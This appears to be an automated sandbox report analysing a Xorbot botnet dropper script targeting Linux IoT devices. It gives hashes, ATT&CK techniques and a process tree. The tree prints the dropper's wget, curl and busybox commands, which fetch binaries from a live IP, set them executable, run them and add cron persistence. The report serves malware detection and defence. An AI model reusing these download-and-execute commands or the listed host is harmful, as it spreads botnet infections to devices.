xorbot | 60b72f62269d0f3e87ac09f6bcb81c16691c11c9e6a2c19859814332e6da4383

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/12/2024, 07:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

9ed9f3021c8dcb7e35e7c5b0d692edea
SHA1

3ab0b7180b490607c695f4424e45c4c84041c2c7
SHA256

60b72f62269d0f3e87ac09f6bcb81c16691c11c9e6a2c19859814332e6da4383
SHA512

afa8f548d73c1acf1c647fccd1dae9b3c594e711b8d7c1f3515b38b27b03eeda4b8e4404f2f89f2b99ac7fcac7487c7cb8056d9275300c96726e5dc1c55b0220
SSDEEP

192:QfrG49AA34EjbzR5Fn5w5lLqAA34E3F5Fn5w5lL2rS:QC49AA34Ejbz9AA34E3K

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-6.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot
behavioral2/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1985) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
802	chmod
813	chmod
828	chmod
692	chmod
790	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q	693	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
/tmp/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A	791	r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
/tmp/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k	803	oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
/tmp/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN	815	2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
/tmp/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB	829	HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB

Renames itself 1 IoCs

pid	Process
694	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.TJqhFH	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/757/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/764/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/934/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/938/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/708/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/714/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/851/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/932/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1015/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/688/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/740/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/902/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1049/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/713/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/745/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/704/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/807/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/860/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1003/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1023/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/14/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/456/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/989/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1002/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1021/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1032/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1036/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/756/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/794/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/784/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/798/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/821/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1005/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1025/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/18/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/751/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/917/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/981/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/309/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/799/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/721/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/862/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/873/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/888/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/971/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/11/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/655/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/954/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/982/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/988/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1037/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1051/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/26/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/742/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/753/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/947/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/950/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/277/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/710/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/814/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1031/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/1034/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
File opened for reading	/proc/4/cmdline	rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A	busybox
File opened for modification	/tmp/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k	busybox
File opened for modification	/tmp/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN	busybox
File opened for modification	/tmp/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB	busybox
File opened for modification	/tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q	wget
File opened for modification	/tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q	curl
File opened for modification	/tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:658
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://216.126.231.164/bins/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
  2⤵
  - Writes file to tmp directory
  PID:668
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
  2⤵
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
  ./rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:693
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:695
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:696
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:697
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:698
- /bin/rm
  rm rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.164/bins/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
  2⤵
  PID:704
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
  2⤵
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod 777 r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
  ./r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.164/bins/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
  2⤵
  PID:796
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
  2⤵
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
  ./oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k
  2⤵
  PID:804
- /usr/bin/wget
  wget http://216.126.231.164/bins/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
  2⤵
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
  ./2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm 2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.164/bins/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
  2⤵
  PID:821
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
  ./HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB
  2⤵
  PID:831
- /usr/bin/wget
  wget http://216.126.231.164/bins/kaADuFTFrrBOJv1x8nlAv3Pt4ghddOPhWf
  2⤵
  PID:832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/2uVwhPkTJlaIyx3fbM2A8UVt66CfR0GNkN

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/HQ2CX50liD3Pz4f8WN8QV5gc2kdLXJ2ymB

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/oeqKTakWDbRggEJbTGy3np8FNVYBUwLg6k

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/r3gxtnbU167h2gtMVMyBJZe6gvSpFARH0A

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/rXuJ11EGv6X3I5m8npTbljT5osCrAZCQ5q

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.TJqhFH

Filesize
210B

MD5
96dcfad4b3e7af6510d73a36e9ee5457

SHA1
137df6c717e016d7ca608a65e32efb8c290f556c

SHA256
ce2df562879bc324b2cbc5716f7d338e44c8999c77c082914c25932b3e2c6ada

SHA512
ffcf768371a89e82d16673827dac4dd291f903e2fe90c2477653da2cab37867d3731edb770e3d2ddf69474a9736b57b12001e4dca98f5947df9602e28e4e7c3e

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads